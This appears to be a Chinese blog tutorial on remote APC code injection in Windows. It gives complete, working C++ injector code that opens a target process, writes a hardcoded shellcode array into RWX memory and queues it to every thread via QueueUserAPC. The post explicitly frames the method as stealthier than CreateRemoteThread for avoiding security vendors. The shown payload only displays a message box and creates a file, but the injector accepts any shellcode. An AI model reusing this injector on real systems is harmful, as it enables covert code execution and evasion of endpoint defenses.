zoukankan      html  css  js  c++  java
  • windows:shellcode 代码远程APC注入和加载

           https://www.cnblogs.com/theseventhson/p/13197776.html  上一章介绍了通用的shellcode加载器,这个加载器自己调用virtualAlloc分配空间、复制shellcode、执行shellcode,所有操作都在加载器的空间,隐蔽性不强,容易被发现。如果能在其他进程空间把shellcode注入,然后执行了? 可以达到金蝉脱壳的目的;那么该怎么做了?

           熟悉win32编程的同学第一时间可能就想到了createRemoteThread+virtualAllocEx:在目标进程创建一个线程,把shellcode复制到目标进程后执行。这么做技术上可行,但这两个API实在是太出名了(createRemoteThread号称是windows的万恶之源,早期很多病毒、木马都利用了这个API),早就被各大厂商盯死,可能达不到预期;今天介绍另一种远程代码注入的方式:APC注入

           1、先简单介绍一下APC

    •     APC本质:线程在执行的时候如果自身不主动跳转去其他地方(放弃CPU控制权),就会一直占有CPU,那么怎么杀死线程了?所以有了APC机制:线程执行的时候定时检查是否有另外需要执行的代码,如果有就去执行;该代码(函数),就是APC。再直白一点:APC是个队列,里面存储了可执行的代码;线程在正常执行的时候如果满足某些特定的条件(比如alterable,这个很重要,后续会详细介绍),会去APC队列检查,一旦发现不为空,就会取出队列的代码执行,直到执行完毕为止;通过这种方式,可以让3环的死循环线程无法100%占用CPU资源,其他线程才能正常执行;
    •     刚才说到alertable状态,这个怎么理解? 其实就是线程暂时没有重要的事情要做,就叫做这个状态。APC函数一般不会去干扰(中断)线程的运行。一个线程附带着两个APC队列(用户APC、系统APC),也就相当于这两个队列的APC函数都是由“线程本身”来储备调用的(APC函数就相当于奥运会比赛上的预备选手),只有当线程处于“可警告的线程等待状态”才会去调用APC函数(比赛时只有主将无法上场时,预备选手才会出现)
    • 用户模式下,可以调用函数SleepEx、SignalObjectAndWait、WaitForSingleObjectEx、WaitForMultipleObjectsEx、MsgWaitForMultipleObjectsEx都可以使目标线程处于alertable等待状态(无重要事情要做),从而让用户模式APCs执行,这点也很重要,后面的实验会用到这一特性;

      2、 APC代码注入核心步骤介绍

           (1)APC和线程相关的,既然注入APC,势必要找到目标线程。线程又属于进程,那么就要先遍历进程,核心代码如下:先遍历进程,根据进程名(这里我自己单独写了一个简单的程序,没用explorer来测试,原因后面再解释)找到目标进程,然后打开进程、分配空间、写入shellcode;

    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
        HANDLE victimProcess = NULL;
        PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
        THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };
        std::vector<DWORD> threadIds;
        SIZE_T shellSize = sizeof(buf);
        HANDLE threadHandle = NULL;
    
        if (Process32First(snapshot, &processEntry)) {
            while (_wcsicmp(processEntry.szExeFile, L"Thread_Alertable.exe") != 0) {
                Process32Next(snapshot, &processEntry);
            }
        }
        victimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID);
        LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
        WriteProcessMemory(victimProcess, shellAddress, buf, shellSize, NULL);
        printf("shellAddress is: %p
    ", shellAddress);

          (2)接着遍历进程的线程,调用最核心的QueueUserAPC函数,将shellcode注入目标线程

    if (Thread32First(snapshot, &threadEntry)) {
            do {
                if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {
                    threadIds.push_back(threadEntry.th32ThreadID);
                }
            } while (Thread32Next(snapshot, &threadEntry));
        }
    
        for (DWORD threadId : threadIds) {
            threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId);
            QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
            printf("apcRoutine is: %p------>threadId:%d
    ", apcRoutine, threadId);
            Sleep(1000 * 2);
        }

      (3)注入完成后就等待shellcode被调用了。这段代码是借(chao)鉴(xi)https://ired.team/offensive-security/code-injection-process-injection/apc-queue-code-injection 这里的,原作者刚开始用的explorer.exe,我也是这么做的,代码运行后,迟迟不见效果,于时打开process hacker,发现shellcode已经注入目标进程空间,如下:

           

       并且地址的属性是RWX,这里没任何问题,shellcode迟迟未被执行的原因只能是线程状态不是alterable了,这里没办法,只能继续等;process hacker提供了查看线程状态的功能,等了许久还是未等到有线程的状态变为alertable,一直看不到效果,无奈只能放弃这种方式;

             

       (4)既然等不到,就自己构造,很简单,如下:核心是调用sleepEX函数,让其休眠10分钟,第二个参数是TRUE,表明是alertable 的,这样一来只要APC队列有代码,main函数就会执行

    #include <windows.h>
    #include <stdio.h>
    
    int main() 
    {
        printf("enter alertable statues...............");
        SleepEx(1000*600,TRUE);
    }

        执行后查看发现只有这一个线程的,应该是main:

            

        这次终于成功执行了自己的shellcode:能看到messagebox的弹窗:

       

            目标程序所在的目录下也生成了1.txt文本;

       

       3、实验总结:

          (1)上面shellcode都是手动复制到代码内,写死了不说,每次复制shellcode还比较麻烦,当时我想着写代码直接从磁盘读(最初的加载器不就是这么干的么?),如下:

    HANDLE hFile = CreateFileA(argv[1], GENERIC_READ, 0, NULL, OPEN_ALWAYS, 0, NULL);
        if (hFile == INVALID_HANDLE_VALUE)
        {
            printf("Open  File Error!%d
    ", GetLastError());
            return -1;
        }
        DWORD dwSize;
        dwSize = GetFileSize(hFile, NULL);
    
        LPVOID buf = VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        if (buf == NULL)
        {
            printf("VirtualAlloc error:%d
    ", GetLastError());
            CloseHandle(hFile);
            return -1;
    
        }
        DWORD dwRead;
        ReadFile(hFile, buf, dwSize, &dwRead, 0);
        printf("
    %s File read length:%d 
    ", argv[1], dwRead);
        printf("buf length=%d 
    ", sizeof(buf));//shellcode里面有00,导致buf被阶段,长度只有4;

      查看目标进程内存时发现并未复制完全,罪魁祸首是中间遇到00,被截断,buf读取的长度只有4;

      

       各位读者有更好的解决办法还请不吝赐教。

      (2)完整的代码:

    #include <iostream>
    #include <Windows.h>
    #include <TlHelp32.h>
    #include <vector>
    
    int main()
    {
        unsigned char buf[] = "xE9x8Bx01x00x00xCCxCCxCCxCCxCCxCCxCCxCCxCCxCCxCCx64xA1x30x00x00x00x85xC0x78x0Dx8Bx40x0Cx8Bx40x14x8Bx00x8Bx00x8Bx40x10xC3xCCxCCxCCxCCxCCxCCxCCxCCx55x8BxECx83xECx40x53x56x8BxD9x57x89x5DxF4xE8xCDxFFxFFxFFx8BxF0x33xFFx8Bx56x3Cx39x7Cx32x7Cx75x07x33xFFxE9x9Cx00x00x00x8Bx44x32x78x85xC0x74xF1x8Bx54x30x18x85xD2x74xE9x8Bx4Cx30x24x8Bx5Cx30x20x03xCEx8Bx44x30x1Cx03xDEx03xC6x89x4DxFCx33xC9x89x45xF8x4Ax8Bx04x8Bx03xC6x80x38x47x75x4Ex80x78x01x65x75x48x80x78x02x74x75x42x80x78x03x50x75x3Cx80x78x04x72x75x36x80x78x05x6Fx75x30x80x78x06x63x75x2Ax80x78x07x41x75x24x80x78x08x64x75x1Ex80x78x09x64x75x18x80x78x0Ax72x75x12x80x78x0Bx65x75x0Cx80x78x0Cx73x75x06x80x78x0Dx73x74x07x41x3BxCAx76xA3xEBx0Fx8Bx45xFCx8Bx7DxF8x0FxB7x04x48x8Bx3Cx87x03xFEx8Bx5DxF4x8Dx45xC0x89x3Bx50xC7x45xC0x4Cx6Fx61x64xC7x45xC4x4Cx69x62x72xC7x45xC8x61x72x79x41xC6x45xCCx00xE8xF9xFExFFxFFx50x8Bx03xFFxD0x8Dx4DxDCx89x43x04x51x8Dx4DxE8xC7x45xE8x55x73x65x72x51xC7x45xECx33x32x2Ex64x66xC7x45xF0x6Cx6CxC6x45xF2x00xC7x45xDCx4Dx65x73x73xC7x45xE0x61x67x65x42xC7x45xE4x6Fx78x41x00xFFxD0x50x8Bx03xFFxD0x89x43x08x8Dx45xD0x50xC7x45xD0x43x72x65x61xC7x45xD4x74x65x46x69xC7x45xD8x6Cx65x41x00xE8x94xFExFFxFFx50x8Bx03xFFxD0x5Fx5Ex89x43x0Cx5Bx8BxE5x5DxC3xCCxCCxCCxCCxCCx55x8BxECx83xECx24x8Dx4DxDCxE8x92xFExFFxFFx6Ax00x8Dx45xFCxC7x45xECx48x65x6Cx6Cx50x8Dx45xECx66xC7x45xF0x6Fx21x50x6Ax00xC6x45xF2x00xC7x45xFCx54x69x70x00xFFx55xE4x6Ax00x6Ax00x6Ax02x6Ax00x6Ax00x68x00x00x00x40x8Dx45xF4xC7x45xF4x31x2Ex74x78x50x66xC7x45xF8x74x00xFFx55xE8x8BxE5x5DxC3xCCxCCxCCxCC";
    
        HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
        HANDLE victimProcess = NULL;
        PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
        THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };
        std::vector<DWORD> threadIds;
        SIZE_T shellSize = sizeof(buf);
        HANDLE threadHandle = NULL;
    
        if (Process32First(snapshot, &processEntry)) {
            while (_wcsicmp(processEntry.szExeFile, L"Thread_Alertable.exe") != 0) {
                Process32Next(snapshot, &processEntry);
            }
        }
    
        victimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID);
        LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
        WriteProcessMemory(victimProcess, shellAddress, buf, shellSize, NULL);
        printf("shellAddress is: %p
    ", shellAddress);
    
        if (Thread32First(snapshot, &threadEntry)) {
            do {
                if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {
                    threadIds.push_back(threadEntry.th32ThreadID);
                }
            } while (Thread32Next(snapshot, &threadEntry));
        }
    
        for (DWORD threadId : threadIds) {
            threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId);
            QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
            printf("apcRoutine is: %p------>threadId:%d
    ", apcRoutine, threadId);
            Sleep(1000 * 2);
        }
    
        return 0;
    }

      (3)和APC对应另一个重要的概念是DPC,这里简单做个总结对比:

    APC执行过程:

     

  • 相关阅读:
    power designer 绘制E-R 图
    git 的证书重新设置,以及如何让git 记住提交的用户名和密码
    weblogic的安装和注意的问题以及在idea怎么用weblogic启动一个web服务
    java的URI和URL到底是什么
    怎么把centos虚拟机zip文件导入vm虚拟机中
    gogole调试请求体的数据怎么知道
    Javascript数据类型——number类型
    Javascript类型——boolean类型
    Javascript数据类型——undefined和null的异同
    第3章,基本概念
  • 原文地址:https://www.cnblogs.com/theseventhson/p/13199381.html
Copyright © 2011-2022 走看看